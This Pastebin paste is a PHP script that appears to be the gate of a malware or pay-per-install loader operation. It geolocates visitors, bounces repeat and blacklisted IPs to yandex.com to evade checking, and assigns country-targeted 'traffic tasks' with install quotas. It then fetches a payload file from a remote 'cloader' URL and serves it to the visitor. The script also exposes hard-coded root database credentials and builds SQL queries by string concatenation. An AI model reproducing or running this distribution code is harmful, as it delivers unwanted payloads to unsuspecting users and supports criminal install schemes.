Advertisement
Guest User

Untitled

a guest
Mar 17th, 2019
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.57 KB | None | 0 0
  1. <?php
  2. error_reporting(-1); // reports all errors
  3. ini_set("display_errors", "1"); // shows all errors
  4. ini_set("log_errors", 1);
  5. require 'vendor/autoload.php';
  6. use GeoIp2\Database\Reader;
  7. $host = '185.203.118.216';
  8. $db = 'traffic';
  9. $user = 'root';
  10. $pass = 'EdQe4ud06H';
  11. $charset = 'utf8';
  12.  
  13. $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
  14. $opt = [
  15. PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
  16. PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
  17. PDO::ATTR_EMULATE_PREPARES => false,
  18. ];
  19. $pdo = new PDO($dsn, $user, $pass, $opt);
  20.  
  21. $url = "http://www.statinstall.top/111/rgfdrw/fgdf434/cloader";
  22. $offer = 2;
  23.  
  24.  
  25.  
  26. $ip = getIP();
  27.  
  28. if (strpos($ip, ',') !== false) {
  29. $ip_arr = explode(",", $ip);
  30. $ip = $ip_arr[0];
  31.  
  32. }
  33.  
  34. $reader = new Reader('GeoLite2-Country.mmdb');
  35.  
  36. try{
  37.  
  38. $reader = new Reader('GeoLite2-Country.mmdb');
  39.  
  40. $record = $reader->country($ip);
  41. $country = $record->country->name;
  42. $cc = $record->country->isoCode;
  43. //add to db info
  44.  
  45. }
  46. catch (GeoIp2\Exception\AddressNotFoundException $e ){
  47. $country = "Not found";
  48. $cc = "CA";
  49. }
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56. //////black list
  57.  
  58. $a = $pdo->prepare('select * from ip_blacklist where ip = :ip limit 1');
  59. $a->bindParam(':ip', $ip);
  60.  
  61. $a->execute();
  62.  
  63.  
  64.  
  65. if ($a->rowCount() > 0)
  66. {
  67. //count++
  68. header('Location: http://yandex.com/');
  69. exit;
  70. }
  71.  
  72. $b = $pdo->prepare('select * from `hits` where ip = :ip limit 1');
  73. $b->bindParam(':ip', $ip);
  74.  
  75. $b->execute();
  76.  
  77.  
  78.  
  79. if ($b->rowCount() > 0)
  80. {
  81.  
  82. $s = $pdo->prepare('insert into ip_blacklist (ip, hit_count) values (:ip, 0)');
  83. $s->bindParam(':ip', $ip);
  84.  
  85.  
  86. $s->execute();
  87.  
  88. header('Location: http://yandex.com/');
  89.  
  90.  
  91. exit;
  92. }
  93. //black list end
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100. $stmt = $pdo->prepare('
  101. select * from `traffic_task` where `status` = "work" and `oq` = 1 and exists (select `cc` from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id` and `cc` = \''.$cc.'\') and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `traffic_task`.`intsllas` < `traffic_task`.`amout` or not exists (select * from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id`) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `status` = "work" and `oq` = 1 and `traffic_task`.`intsllas` < `traffic_task`.`amout` order by `last_install` limit 1');
  102. $stmt->execute();
  103.  
  104. if ($stmt->rowCount() > 0)
  105. {
  106. $res = $stmt->fetchAll();
  107. $q = $pdo->prepare('insert into `hits` (`ip`, `country`, `task_id`, `offer_id`, `created_at`) values (:ip, :country, :task_id, :offer_id, :date )');
  108. $q->bindParam(':ip', $ip);
  109. $date = date('Y-m-d H:i:s');
  110. $q->bindParam(':date', $date);
  111. $q->bindParam(':task_id', $res[0]['id']);
  112. $q->bindParam(':country', $country);
  113. $q->bindParam(':offer_id', $offer);
  114. $q->execute();
  115. $date = date('Y-m-d H:i:s');
  116. $stmt = $pdo->prepare('update `traffic_task` set `last_install` = :date , `intsllas` = `intsllas` + 1 where `id` = :task_id limit 1');
  117. $stmt->bindParam(':date', $date);
  118. $stmt->bindParam(':task_id', $res[0]['id']);
  119. $stmt->execute();
  120.  
  121. $txt = $url . $res[0]['file_txt'];
  122.  
  123. echo file_get_contents($txt);
  124.  
  125.  
  126.  
  127.  
  128.  
  129. }
  130. else
  131. {
  132.  
  133. //таск в очереди
  134. $stmt = $pdo->prepare('select * from `traffic_task` where `status` = "work" and exists (select `cc` from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id` and `cc` = \''.$cc.'\') and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `traffic_task`.`intsllas` < `traffic_task`.`amout` or not exists (select * from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id`) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `status` = "work" and `traffic_task`.`intsllas` < `traffic_task`.`amout` order by `last_install` limit 1');
  135. $stmt->execute();
  136.  
  137. if ($stmt->rowCount() > 0)
  138. {
  139. $res = $stmt->fetchAll();
  140. $date = date('Y-m-d H:i:s');
  141. $q = $pdo->prepare('insert into `hits` (`ip`, `country`, `task_id`, `offer_id`, `created_at`) values (:ip, :country, :task_id, :offer_id, :date )');
  142. $q->bindParam(':ip', $ip);
  143. $q->bindParam(':date', $date);
  144. $q->bindParam(':task_id', $res[0]['id']);
  145. $q->bindParam(':country', $country);
  146. $q->bindParam(':offer_id', $offer);
  147. $q->execute();
  148.  
  149. $date = date('Y-m-d H:i:s');
  150. $stmt = $pdo->prepare('update `traffic_task` set `last_install` = :date , `intsllas` = `intsllas` + 1 where `id` = :task_id limit 1');
  151. $stmt->bindParam(':date', $date);
  152. $stmt->bindParam(':task_id', $res[0]['id']);
  153. $stmt->execute();
  154.  
  155. $txt = $url . $res[0]['file_txt'];
  156.  
  157. echo file_get_contents($txt);
  158.  
  159.  
  160.  
  161.  
  162.  
  163. }
  164. else
  165. {
  166.  
  167. //таска нет
  168.  
  169.  
  170.  
  171. }
  172.  
  173.  
  174. }
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185. function getIP()
  186. {
  187. if (isset($_SERVER["HTTP_X_REAL_IP"]))
  188. return $_SERVER["HTTP_X_REAL_IP"];
  189. else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
  190. return $_SERVER ["HTTP_X_FORWARDED_FOR"];
  191. return $_SERVER['REMOTE_ADDR'];
  192. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement